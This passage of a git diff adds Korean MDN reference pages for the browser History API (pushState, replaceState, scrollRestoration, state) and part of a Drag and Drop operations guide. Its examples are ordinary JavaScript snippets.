{{Compat("api.History.length")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/history/pushstate/index.html b/files/ko/web/api/history/pushstate/index.html new file mode 100644 index 0000000000..a4e7af47df --- /dev/null +++ b/files/ko/web/api/history/pushstate/index.html @@ -0,0 +1,84 @@ +--- +title: History.pushState() +slug: Web/API/History/pushState +tags: + - API + - DOM + - History + - History API + - Method + - Reference + - Web +translation_of: Web/API/History/pushState +--- +
{{APIRef("DOM")}}
+ +

HTML 문서에서, history.pushState() 메서드는 브라우저의 세션 기록 스택에 상태를 추가합니다.

+ +

구문

+ +
history.pushState(state, title[, url]);
+ +

매개변수

+ +
+
state
+
새로운 세션 기록 항목에 연결할 상태 객체. 사용자가 새로운 상태로 이동할 때마다 {{event("popstate")}} 이벤트가 발생하는데, 이 때 이벤트 객체의 state 속성에 해당 상태의 복제본이 담겨 있습니다.
+
상태 객체는 직렬화 가능한 객체라면 모두 가능합니다.
+
title
+
지금은 대부분의 브라우저가 title 매개변수를 무시하지만, 미래에 쓰일 수도 있습니다. 빈 문자열을 지정하면 나중의 변경사항에도 안전할 것입니다. 아니면, 상태에 대한 짧은 제목을 제공할 수도 있습니다.
+
url {{optional_inline}}
+
새로운 세션 기록 항목의 URL. pushState() 호출 이후에 브라우저는 주어진 URL로 탐색하지 않습니다. 그러나 이후, 예컨대 브라우저를 재시작할 경우 탐색을 시도할 수도 있습니다. 상대 URL을 지정할 수 있으며, 이 땐 현재 URL을 기준으로 사용합니다. 새로운 URL은 현재 URL과 같은 {{glossary("origin", "출처")}}를 가져야 하며, 그렇지 않을 경우 예외가 발생합니다. 지정하지 않은 경우 문서의 현재 URL을 사용합니다.
+
+ +

설명

+ +

어떤 면에선 pushState()window.location = "#foo"가 비슷합니다. 둘 다 새로운 세션 기록 항목을 생성하고 활성화하기 때문입니다. 그러나 pushState()에는 몇 가지 장점이 있습니다.

+ + + +

다만 pushState()는 이전 URL과 신규 URL의 해시가 다르더라도 절대 {{event("hashchange")}} 이벤트를 유발하지 않습니다.

+ +

HTML 외의 문서에서는 이름공간 URI가 null인 요소를 생성합니다.

+ +

예제

+ +

다음 코드는 주어진 상태, 제목, URL을 사용해 새로운 세션 기록을 생성합니다.

+ +
const state = { 'page_id': 1, 'user_id': 5 }
+const title = ''
+const url = 'hello-world.html'
+
+history.pushState(state, title, url)
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "browsers.html#dom-history-pushstate", "History.pushState()")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-history-pushstate", "History.pushState()")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.pushState")}}

diff --git a/files/ko/web/api/history/replacestate/index.html b/files/ko/web/api/history/replacestate/index.html new file mode 100644 index 0000000000..3b9f92ba8d --- /dev/null +++ b/files/ko/web/api/history/replacestate/index.html @@ -0,0 +1,68 @@ +--- +title: History.replaceState() +slug: Web/API/History/replaceState +translation_of: Web/API/History/replaceState +--- +
{{APIRef("History API")}}
+ +
+ +

History.replaceState() 메서드는 현재 history를 수정해 메소드의 매개 변수에 전달 된 stateObj, titleURL로 대체합니다. 이 방법은 특히 일부 유저의 동작에 대한 응답으로 history 객체의 상태나 현재 history의 URL을 업데이트하려는 경우에 유용합니다. 

+ +

구문

+ +
history.replaceState(stateObj, title[, url])
+ +

Parameters

+ +
+
stateObj
+
state 객체는 replaceState에 전달된 history 항목과 연관된 JavaScript 객체입니다. state object는 null일 수 있습니다.
+
title
+
나중에는 사용할 수도 있지만, 대부분의 브라우저는 현재 이 파라미터를 무시하고 있습니다. 이 부분에 빈 String을 전달하면 나중에 메소드가 변화하더라도 안전합니다. 또는, state에 짧은 title을 전달할 수도 있습니다.
+
url {{optional_inline}}
+
history 항목의 URL 입니다. 새 URL은 현재 URL과 출처가 동일해야(same origin)합니다. 그렇지 않으면 replaceState에서 예외가 발생합니다.
+
+ +

예제

+ +

https://www.mozilla.org/ 에서 아래 JavaScript를 실행한다고 가정합시다: 

+ +
const stateObj = { foo: 'bar' };
+history.pushState(stateObj, '', 'bar.html');
+ +

위 두 줄에 대한 설명은 Working with the History API 문서의 Example of pushState() method에서 확인할 수 있습니다. 그 다음, https://www.mozilla.org/bar.html에서 아래와 같은 JavaScript를 실행한다고 가정해보세요:

+ +
history.replaceState(stateObj, '', 'bar2.html');
+ +

이렇게하면 URL 표시줄에 https://www.mozilla.org/bar2.html이라고 표시되지만, 브라우저가 bar2.html을 로드하거나 bar2.html파일이 있는지 확인하지는 않습니다.

+ +

이제 사용자가 https://www.microsoft.com으로 이동한 다음, 뒤로가기 버튼을 누른다고 가정해봅시다. 이 때, URL 표시줄에는https://www.mozilla.org/bar2.html이 표시됩니다. 사용자가 다시 뒤로가기 버튼을 누르면, URL 표시줄에는 https://www.mozilla.org/foo.html이 표시되고, bar.html은 완전히 무시되어 표시되지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "history.html#dom-history-replacestate", "History.replaceState()")}}{{Spec2("HTML WHATWG")}}{{SpecName("HTML5 W3C")}} 이후 변화 없음.
{{SpecName("HTML5 W3C", "history.html#dom-history-replacestate", "History.replaceState()")}}{{Spec2("HTML5 W3C")}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.replaceState")}}

diff --git a/files/ko/web/api/history/scrollrestoration/index.html b/files/ko/web/api/history/scrollrestoration/index.html new file mode 100644 index 0000000000..a9a4923bd7 --- /dev/null +++ b/files/ko/web/api/history/scrollrestoration/index.html @@ -0,0 +1,72 @@ +--- +title: History.scrollRestoration +slug: Web/API/History/scrollRestoration +tags: + - API + - HTML DOM + - History API + - Property + - Reference +translation_of: Web/API/History/scrollRestoration +--- +
{{APIRef("HTML DOM")}}
+ +

History.scrollRestoration 속성을 사용하면 기록 탐색 시 사용할 스크롤 위치 복원 기능의 기본값을 웹 애플리케이션이 지정할 수 있습니다.

+ +

구문

+ +
let scrollRestore = history.scrollRestoration;
+ +

+ +
+
"auto"
+
페이지 내에서 사용자의 스크롤이 위치했던 장소로 복원합니다.
+
"manual"
+
스크롤을 복원하지 않습니다. 사용자가 직접 스크롤해야 합니다.
+
+ +

예제

+ +

현재 스크롤 복원 여부 알아내기

+ +
const scrollRestoration = history.scrollRestoration
+if (scrollRestoration === 'manual') {
+  console.log('The location on the page is not restored, user will need to scroll manually.');
+}
+
+ +

스크롤 복원 비활성화

+ +
if (history.scrollRestoration) {
+  window.history.scrollRestoration = 'manual';
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", " #scroll-restoration-mode", "History.scrollRestoration")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#dom-history-scrollrestoration", "History.scrollRestoration")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History.scrollRestoration")}}

diff --git a/files/ko/web/api/history/state/index.html b/files/ko/web/api/history/state/index.html new file mode 100644 index 0000000000..0f889665c7 --- /dev/null +++ b/files/ko/web/api/history/state/index.html @@ -0,0 +1,67 @@ +--- +title: History.state +slug: Web/API/History/state +translation_of: Web/API/History/state +--- +
{{APIRef("History API")}}
+ +

History.state 속성은 현 history에 해당하는 state값을 나타냅니다.

+ +

{{event("popstate")}} 이벤트가 트리거될때가 아닌 상태에서 state값을 볼 수 있는 방법입니다.

+ +

문법

+ +
const currentState = history.state
+ +

+ +

현 history에 위치한 값입니다. 이 값은 {{domxref("History.pushState","pushState()")}} 또는 {{domxref("History.replaceState","replaceState()")}}을 사용할때까지 {{jsxref("null")}} 값을 가집니다.

+ +

예제

+ +

history.state 로 초기값을 보여준 후 {{domxref("History.pushState","pushState()")}}를 사용하여 State를 푸시합니다.

+ +

다음 코드 줄은 history.state 를 사용하여 콘솔에다 값이 푸시되었음을 보여줍니다.

+ +
// Should be null because we haven't modified the history stack yet
+console.log(`History.state before pushState: ${history.state}`);
+
+// Now push something on the stack
+history.pushState({name: 'Example'}, "pushState example", 'page3.html');
+
+// Now state has a value.
+console.log(`History.state after pushState: ${history.state}`);
+ +

SpecificationsE

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-history-state", "History.state")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#dom-history-state", "History.state")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.History.state")}}

+ +

See also

+ + diff --git a/files/ko/web/api/history_api/index.html b/files/ko/web/api/history_api/index.html new file mode 100644 index 0000000000..3396a23460 --- /dev/null +++ b/files/ko/web/api/history_api/index.html @@ -0,0 +1,117 @@ +--- +title: History API +slug: Web/API/History_API +tags: + - API + - Advanced + - DOM + - History + - 기록 + - 브라우저 히스토리 + - 히스토리 +translation_of: Web/API/History_API +--- +
{{DefaultAPISidebar("History API")}}
+ +

DOM의 {{domxref("Window")}} 객체는 {{domxref("Window.history", "history")}} 객체를 통해 브라우저의 세션 기록에 접근할 수 있는 방법을 제공합니다. {{domxref("History", "history")}}는 사용자를 자신의 방문 기록 앞과 뒤로 보내고 기록 스택의 콘텐츠도 조작할 수 있는, 유용한 메서드와 속성을 가집니다.

+ +

개념과 사용 방법

+ +

사용자 방문 기록에서 앞뒤로 이동할 땐 {{domxref("History.back","back()")}}, {{domxref("History.forward","forward()")}}, {{domxref("History.go","go()")}} 메서드를 사용합니다.

+ +

앞으로 가기와 뒤로 가기

+ +

방문 기록의 뒤로 이동하려면 다음과 같이 사용합니다.

+ +
history.back()
+ +

위의 코드는 사용자가 브라우저 도구 모음의 뒤로 가기 버튼을 누른 것과 같습니다.

+ +

이와 비슷하게, 기록의 앞으로 (도구 모음의 앞으로 가기 버튼) 가는 것도 할 수 있습니다.

+ +
history.forward()
+ +

기록의 특정 지점으로 이동

+ +

{{domxref("History.go", "go()")}} 메서드를 사용하면 세션 기록에서 현재 페이지의 위치를 기준으로, 상대적인 거리에 위치한 특정 지점까지 이동할 수 있습니다.

+ +

한 페이지 뒤로 이동하려면  다음과 같이 사용합니다. ({{domxref("History.back", "back()")}}과 동일)

+ +
history.go(-1)
+ +

한 페이지 앞으로 이동하려면  다음과 같이 사용합니다. ({{domxref("History.forward", "forward()")}}와 동일)

+ +
history.go(1)
+ +

매개변수로 지정한 숫자를 바꾸면 2 페이지씩 이동하는 것도 가능합니다.

+ +

go()의 다른 사용법은 매개변수를 제공하지 않거나 0을 제공해 현재 페이지를 다시 불러오는 것입니다.

+ +
// The following statements
+// both have the effect of
+// refreshing the page
+history.go(0)
+history.go()
+ +

{{domxref("History.length", "length")}} 속성을 사용해 방문 기록 스택의 크기도 알아낼 수 있습니다.

+ +
let numberOfEntries = window.history.length
+ +

인터페이스

+ +
+
{{domxref("History")}}
+
브라우저의 세션 기록에 접근할 수 있는 방법을 제공하는 인터페이스입니다.
+
+ +

예제

+ +

다음 예제는 {{domxref("window.onpopstate")}} 속성에 이벤트 처리기를 부착한 후, {{domxref("window.history", "history")}} 객체를 사용해 브라우저 방문 기록을 추가하거나 대체한 후 탐색하는 코드입니다.

+ +
window.onpopstate = function(event) {
+  alert(`location: ${document.location}, state: ${JSON.stringify(event.state)}`)
+}
+
+history.pushState({page: 1}, "title 1", "?page=1")
+history.pushState({page: 2}, "title 2", "?page=2")
+history.replaceState({page: 3}, "title 3", "?page=3")
+history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back() // alerts "location: http://example.com/example.html, state: null"
+history.go(2)  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}"
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}{{Spec2("HTML5 W3C")}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.History")}}

+ +

같이 보기

+ + diff --git "a/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/drag_operations/index.html" "b/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/drag_operations/index.html" new file mode 100644 index 0000000000..122e835b75 --- /dev/null +++ "b/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/drag_operations/index.html" @@ -0,0 +1,343 @@ +--- +title: Drag Operations +slug: Web/API/HTML_드래그_앤_드롭_API/Drag_operations +translation_of: Web/API/HTML_Drag_and_Drop_API/Drag_operations +--- +

{{DefaultAPISidebar("HTML Drag and Drop API")}}

+ +

다음은 드래그 & 드랍(drag & drop) 동작 실행 시 각 단계에 대한 설명입니다.

+ +

이 문서에 설명된 드래그 동작은 {{domxref("DataTransfer")}} 인터페이스를 사용합니다. 이 문서에서는 {{domxref("DataTransferItem")}} 인터페이스나 {{domxref("DataTransferItemList")}} 인터페이스를 사용하지 않습니다.

+ +

Draggable 속성

+ +

웹 페이지 안에서 특정 상황에 기본 드래그(default drag) 행위가 사용될 경우가 있습니다. 선택된 텍스트(text selections), 이미지 또는 링크가 여기에 포함됩니다. 이미지나 링크가 드래그될 때, 이미지나 링크의 URL이 드래그 데이터(drag data)로 설정되고 드래그가 시작됩니다. 다른 요소의 경우, 기본 드래그가 발생할 선택(selections)에 포함되어 있어야 합니다(For other elements, they must be part of a selection for a default drag to occur). 이 효과를 보기 위해서는 웹 페이지의 어떤 영역을 선택하고 마우스를 클릭한 채로 드래그하면 됩니다. 드래그가 발생할 때 마우스 포인터로 선택 영역에 대한 OS별 렌더링이 표시됩니다. 이 행위는 기본 드래그 행위인 경우에만 발생하는 것으로 드래그되는 데이터를 조정할 리스너가 없는 경우에는 작동하지 않습니다.

+ +

HTML에서 이미지나 링크 그리고 선택(selections)에 대한 기본 행위를 제외한 나머지 요소는 기본적으로 드래그되지 않습니다. XUL에서는 모든 요소가 드래그 가능합니다.

+ +

다른 HTML 요소를 드래그할 수 있게 하려면 세 가지가 이루어져야 합니다:

+ + + +

컨텐츠의 일부 영역을 드래그할 수 있도록 만드는 예제는 다음과 같습니다.

+ +
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')">
+  This text <strong>may</strong> be dragged.
+</div>
+
+ +

요소를 드래그할 수 있게 하기 위해서는 {{htmlattrxref("draggable")}} 속성이 true로 설정되어야 합니다. 이 속성이 생략되거나 false로 설정되면 해당 요소는 드래그할 수 없으며, 대신 텍스트가 선택됩니다. {{htmlattrxref("draggable")}} 속성은 이미지나 링크를 포함한 어떤 요소에서도 사용할 수 있습니다. 하지만, 이미지나 링크에 대해서는 기본값이 true로 설정되어 있으므로 이들 요소에 대해 드래깅할 수 없게 만들 경우에만 {{htmlattrxref("draggable")}} 속성의 값을 false로 설정하면 됩니다.

+ +

어떤 요소가 드래그 가능한 경우, 해당 요소 내의 텍스트나 다른 요소는 마우스를 클릭하고 드래그하는 통상적인 방식으로는 선택할 수 없게 됩니다. 대신, 사용자가 alt 키를 누른채로 마우스로 텍스트를 선택하거나 키보드를 이용해 선택할 수 있습니다.

+ +

XUL 요소에 대해서는 {{htmlattrxref("draggable")}} 속성을 사용할 필요가 없으며, 모든 XUL 요소는 드래그가 가능합니다.

+ +
<button label="Drag Me" ondragstart="event.dataTransfer.setData('text/plain', 'Drag Me Button');">
+
+ +

드래그 작업 시작

+ +

이 예제에서는 {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} 속성을 이용하여 {{event("dragstart")}} 이벤트에 대한 리스너를 추가합니다.

+ +
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')">
+  This text <strong>may</strong> be dragged.
+</div>
+
+ +

사용자가 드래그를 시작할 때, {{event("dragstart")}} 이벤트가 발생합니다. 이 예제에서는 드래그할 요소에 {{event("dragstart")}} 리스너가 추가되었습니다; 하지만, 대부분의 다른 이벤트가 그렇듯이 상위 요소에서 드래그 이벤트를 포착할 수 있습니다. {{event("dragstart")}} 이벤트 내에서 아래에서 설명하는 바와 같이 피드백 이미지(feedback image)나 드래그 효과와 그리고 드래그 데이터를 명시할 수 있습니다. 기본 이미지나 드래그 효과는 대부분의 상황에 적합하게 되어 있으며, 드래그 데이터만 필요합니다.

+ +

데이터 드래그

+ +

모든 {{domxref("DragEvent","drag events")}}는 드래그 데이터를 가지고 있는 {{domxref("DragEvent.dataTransfer","dataTransfer")}}라는 속성이 존재합니다 (dataTransfer는 {{domxref("DataTransfer")}} 객체입니다).

+ +

드래그가 발생할 때, 데이터는 어떤 것이 드래그되는지를 구분할 수 있는 드래그와 연관되어야 합니다(When a drag occurs, data must be associated with the drag which identifies what is being dragged). 예를 들어, 선택된 텍스트가 드래그될 경우 드래그 데이터 항목에 연관된 데이터는 텍스트 자체입니다. 이와 유사하게, 웹 페이지 상의 링크가 드래그될 경우에 드래그 데이터 항목은 링크의 URL이됩니다.

+ +

{{domxref("DataTransfer","drag data")}}는 두 가지 정보를 담고 있는데, 데이터의 유형(또는 형식)과 데이터 값입니다. 형식은 (텍스트 데이터에 해당하는 text/plain과 같은) 형식 문자열(type string) 값이고, 값은 텍스트의 문자열입니다. 드래그가 시작되면, 데이터와 형식을 제공하는 데이터를 추가해야 합니다. 드래그되는 동안, {{event("dragenter")}} 이벤트와 {{event("dragover")}} 이벤트에 대한 이벤트 리스너에서 드래그되는 데이터의 형식을 사용해 드랍이 허용되는지 확인할 수 있습니다. 예를 들어, 링크가 허용되는 드랍 대상(drop target)은 text/uri-list 형식의 링크인지 확인합니다. 드랍 이벤트 동안 리스너는 드래그 대상(being dragged)으로부터 데이터를 추출해 드랍되는 위치에 삽입합니다.

+ +

{{domxref("DataTransfer","drag data's")}}의 {{domxref("DataTransfer.types","types")}} 속성은 text/plain or image/jpeg과 같은 {{domxref("DOMString")}} MIME-type 목록을 반환홥니다. 여러분은 자신만의 형식을 만들 수도 있습니다. 가장 흔하게 사용되는 형식은 권장 드래그 데이터 형식(Recommended Drag Types)에서 소개하고 있습니다.

+ +

드래그에는 여러 가지 다른 형식의 데이터 항목이 포함될 수 있습니다. 이를 통해 사용자 정의 형식(custom types)과 같은 보다 특정한 형식의 데이터를 주로 제공하지만, 특정한 유형을 지원하지 않는 드롭 대상에 대해 대체 데이터(fallback data)를 제공할 수도 있습니다. text/plain 형식의 일반적인 텍스트 데이터가 가장 단순한 형식의 데이터일 것입니다.이 형식의 데이터는 단순히 텍스트 형식으로 표시될 것입니다.

+ +

{{domxref("DragEvent.dataTransfer","dataTransfer")}} 내에 드래그 데이터 항목(drag data item)을 설정하기 위해서는 {{domxref("DataTransfer.setData","setData()")}} 메서드를 이용합니다. 이 메서드는 각각 데이터 형식과 데이터 값인 두 개의 인자가 필요합니다. 예를 들어:

+ +
event.dataTransfer.setData("text/plain", "Text to drag");
+
+ +

이 경우, 데이터 값은 "Text to drag"이고 형식은 text/plain입니다.

+ +

여러 형식의 데이터를 제공할 수도 있습니다. 이를 위해서는 서로 다른 형식으로 {{domxref("DataTransfer.setData","setData()")}} 메서드를 여러 번 호출합니다. 이 때, 가장 세부적인 형식에서 덜 세부적인 형식의 순으로 호출해야 합니다.

+ +
var dt = event.dataTransfer;
+dt.setData("application/x-bookmark", bookmarkString);
+dt.setData("text/uri-list", "http://www.mozilla.org");
+dt.setData("text/plain", "http://www.mozilla.org");
+
+ +

여기서 데이터는 세가지 유형으로 추가됩니다. 첫번째 형식의 'application2x-bookmark'는 사용자 지정 형식입니다. 다른 응용 프로그램에서는 이 형식을 지원하지 않지만 동일한 사이트 또는 응용 프로그램의 영역 간 드래그할 경우, 이 사용자 지정 형식을 사용할 수 있습니다. 또한 다른 형식의 데이터를 제공함으로써 덜 세부적인 형태로 다른 애플리케이션으로의 드래그도 지원할 수 있습니다. 다른 형식이 하나의 URL또는 텍스트 형식만 제공할 때, 'application2x-bookmark' 형식은 해당 어플리케이션 내에서 사용될 경우 더 상세한 데이터를 제공할 수 있습니다

+ +

이 예제에서 text/uri-listtext/plain은 동일한 데이터를 담고있음에 주목하시기 바랍니다. 이렇게 해도 되지만, 꼭 이럴 필요는 없습니다.

+ +

동일한 형식으로 데이터를 두 번 추가하려고 하면 새로운 데이터가 기존 데이터를 대체하지만 형식 목록 내에서 이전 데이터(old data)와 같은 위치에 있게 됩니다.

+ +

{{domxref("DataTransfer.clearData","clearData()")}} 메서드를 이용해 해당 데이터를 지울 수 있는데, 이 메서드는 지우고자 하는 데이터의 형식을 인자로 가집니다.

+ +
event.dataTransfer.clearData("text/uri-list");
+
+ +

{{domxref("DataTransfer.clearData","clearData()")}} 메서드에 대한 형식 인자는 선택적입니다. 형식을 지정하지 않으면 모든 형식과 연관된 데이터가 지워집니다. 드래그할 때, 드래그 데이터 항목이 없거나 이후에 모든 항목이 삭제되면 드래그가 발생하지 않습니다.

+ +

드래그 피드백 이미지 설정

+ +

드래그가 발생할 때, 드래그 대상("{{event("dragstart")}}" 이벤트가 발생한 요소)으로부터 반투명한 이미지가 생성되고 드래그 하는 동안 마우스 포인터를 따라 움직입니다. 이 이미지는 자동으로 생성되며, 따로 생성할 필요가 없습니다. 하지만, {{domxref("DataTransfer.setDragImage","setDragImage()")}}를 이용해 사용자 정의 드래그 피드백 이미지를 지정할 수 있습니다.

+ +
event.dataTransfer.setDragImage(image, xOffset, yOffset);
+
+ +

세 개의 인자는 필수입니다. 첫 번째 인자는 이미지에 대한 참조(reference)입니다. 이 참조는 일반적으로 이미지에 대한 참조이나 캔버스(canvas)나 다른 요소를 지정할 수도 있습니다. 피드백 이미지는 단순하게 화면에 표시된 이미지의 모양으로부터 생성되지만, 이미지의 경우 원래 크기로 그려집니다. {{domxref("DataTransfer.setDragImage","setDragImage()")}} 메서드의 두 번째와 세 번째 인자는 마우스 포인터에 대해 상대적인 옵셋(offsets)으로 이미지가 나타날 위치를 의미합니다.

+ +

문서 내에 있지 않은 이미지나 캔버스를 사용하는 것 역시 가능합니다. 이 기법은 다음의 예제와 같이 캔버스 요소를 이용해 드래그 이미지를 사용자 정의 형태로 그리고자 할 때 유용합니다:

+ +
function dragWithCustomImage(event) {
+  var canvas = document.createElementNS("http://www.w3.org/1999/xhtml","canvas");
+  canvas.width = canvas.height = 50;
+
+  var ctx = canvas.getContext("2d");
+  ctx.lineWidth = 4;
+  ctx.moveTo(0, 0);
+  ctx.lineTo(50, 50);
+  ctx.moveTo(0, 50);
+  ctx.lineTo(50, 0);
+  ctx.stroke();
+
+  var dt = event.dataTransfer;
+  dt.setData('text/plain', 'Data to Drag');
+  dt.setDragImage(canvas, 25, 25);
+}
+
+ +

이 예제에서, 드래그 이미지를 표시할 캔버스를 하나 생성합니다. 캔버스는 너비가 와 높이가 모두 50 픽셀이고, 마우스 포인터가 이미지의 중앙에 위치하도록 옵셋(offsets)을 너비와 높이의 절반(25)으로 설정했습니다.

+ +

{{h2_gecko_minversion("Using XUL panels as drag images", "9.0")}}

+ +

Gecko 개발자일 경우 (Mozilla 어플리케이션 개발자든 add-on 개발자든 상관 없이), Gecko 9.0 {{geckoRelease("9.0")}}에 드래그 피드백 이미지로 XUL {{XULElem("panel")}} 요소를 사용할 수 있도록 하는 지원이 추가되었습니다. 간단히 {{XULElem("panel")}} 요소를 {{domxref("DataTransfer.setDragImage","setDragImage()")}} 메서드로 전달하기만 하면 됩니다.

+ +

다음 XUL {{XULElem("panel")}}를 살펴보시기 바랍니다:

+ +
<panel id="panel" style="opacity: 0.6">
+  <description id="pb">Drag Me</description>
+</panel>
+
+<vbox align="start" style="border: 1px solid black;" ondragstart="startDrag(event)">
+  <description>Drag Me</description>
+</vbox>
+
+ +

위의 예에서 사용자가 {{XULElem("vbox")}}를 클릭하고 드래그하기 시작하면, 아래의 startDrag() 함수가 호출됩니다.

+ +
function startDrag(event) {
+  event.dataTransfer.setData("text/plain", "<strong>Body</strong>");
+  event.dataTransfer.setDragImage(document.getElementById("panel"), 20, 20);
+}
+
+ +

이 함수는 해당 패널을 드래그 이미지로 사용하고, HTML 형식의 "<strong>Body</strong>"을 데이터로 가집니다. 텍스트 편집기에 패널을 드랍하면 "Body"라는 텍스트가 드랍된 위치에 삽입됩니다.

+ +

드래그 효과

+ +

드래그할 때, 여러 가지 작업이 수행될 수 있습니다. copy 작업은 드래그되는 데이터가 현재 위치에서 드랍되는 위치로 복사될 것임을 나타냅니다. move 작업은 드래그되는 데이터가 이동될 것임을 나타내고, link 작업은 특정 형태의 관계(relationship)나 연결(connection)이 소스와 드랍되는 위치 사이에 생성될 것임을 나타냅니다.

+ +

드래그 소스(drag source)에 대해 {{event("dragstart")}} 이벤트 리스너의 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 설정함으로써, 이 세 가지 작업 중 어떤 것을 허용할 것인지를 지정할 수 있습니다.

+ +
event.dataTransfer.effectAllowed = "copy";
+
+ +

이 예제에서는, 복사만 허용됩니다. 다양한 방식으로 값을 조합할 수 있습니다:

+ +
+
none
+
어떤 작업도 허용하지 않음.
+
copy
+
복사만 허용
+
move
+
이동만 허용
+
link
+
연결만 허용
+
copyMove
+
복사 또는 이동만 허용
+
copyLink
+
복사 또는 연결만 허용
+
linkMove
+
연결 또는 이동만 허용
+
all
+
복사, 이동 및 연결 모두 허용
+
+ +

이 값들은 반드시 위에 나열한 것과 정확하게 일치해야 함에 유의하시기 바랍니다. 예를 들어, {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 copyMove로 설정하면 복사와 이동 작업이 허용되나 연결(link) 작업은 금지됩니다. {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 변경하지 않으면 'all' 값과 마찬가지로 어떤 작업도 허용됩니다. 따라서, 특정한 유형의 작업을 제외시키고 싶지 않다면 이 속성을 조정할 필요가 없습니다.

+ +

드래그 작업 중에 {{event("dragenter")}} 또는 {{event("dragover")}} 이벤트에 대한 리스너는 어떤 작업이 허용되어 있는지 알기 위해 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 확인할 수 있습니다. 관련된 속성으로, {{domxref("DataTransfer.dropEffect","dropEffect")}}는 이들 이벤트 중 하나에서 수행되어야 하는 단일 작업을 지정하기 위해 설정되어야 할 속성입니다. {{domxref("DataTransfer.dropEffect","dropEffect")}}에 유효한 값은 none, copy, move, 또는 link입니다. 이 속성에 값의 조합은 허용되지 않습니다.

+ +

{{event("dragenter")}}나 {{event("dragover")}} 이벤트가 발생하면 사용자가 요청하는 효과로 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성이 초기화됩니다. 사용자는 한정자 키를 눌러 원하는 효과로 수정할 수 있습니다. 플랫폼에 따라 정확한 키가 달라질 수 있지만, 일반적으로 쉬프트(Shift)와 컨트롤(Control) 키가 복사하기, 이동하기, 연결하기 간 전환에 사용됩니다. 마우스 포인터를 원하는 작업을 나타내도록 변경할 수 있습니다; 예를 들어, 복사 작업에 대해서는 마우스 포인터 옆에 더하기 기호가 표시된 커서가 나타날 수 있습니다.

+ +

{{event("dragenter")}} 또는 {{event("dragover")}} 이벤트가 발생하는 동안 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 변경할 수 있는데, 예를 들자면, 특정 작업만 지원되는 특수한 드랍 대상(drop target)일 경우가 그렇습니다. {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 수정하여 사용자 효과(user effect)를 오버라이드하여 특정한 드랍 작업이 발생하게 할 수 있습니다. 이 효과는 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성에 열거된 것 중의 하나 이어야 함에 유의하시기 바랍니다. 그렇지 않을 경우, 허용되는 대체 값으로 설정되게 됩니다.

+ +
event.dataTransfer.dropEffect = "copy";
+
+ +

이 예제에서는 복사가 수행될 효과입니다.

+ +

이 경우에는 이벤트를 취소하지 않는 것이 좋지만 none 값을 사용하여 이 위치에서 드롭이 허용되지 않음을 나타낼 수 있습니다.

+ +

{{event("drop")}}{{event("dragend")}} 이벤트 내에서{{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 확인하면 최종적으로 어떤 효과가 선택되었는지를 알 수 있습니다. 선택된 효과가 "move"였다면, {{event("dragend")}} 이벤트 내에서 드래그 소스의 원본 데이터가 삭제되어야 합니다.

+ +

드랍 대상 지정하기

+ +

{{event("dragenter")}}{{event("dragover")}} 이벤트에 대한 리스너는 유효한 드랍 대상인지, 즉 드래그된 아이템이 드랍될 수 있는 곳인지를 나타내는데 사용할 수 있습니다. 웹 페이지 또는 어플리케이션의 대부분의 영역은 데이터를 드랍할 수 있는 유효한 영역이 아닙니다. 따라서, 이들 이벤트에 대한 기본적인 처리는 드랍을 허용하지 않는 것입니다.

+ +

드랍을 허용하길 원한다면, 해당 이벤트를 취소하는 기본 처리를 막아야 합니다. 속성 정의(attribute-defined) 이벤트 리스너로부터 false를 반환 받거나 해당 이벤트의 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하면 됩니다. 후자는 별도의 스크립트에 정의된 함수에 더 적합합니다.

+ +
<div ondragover="return false">
+<div ondragover="event.preventDefault()">
+
+ +

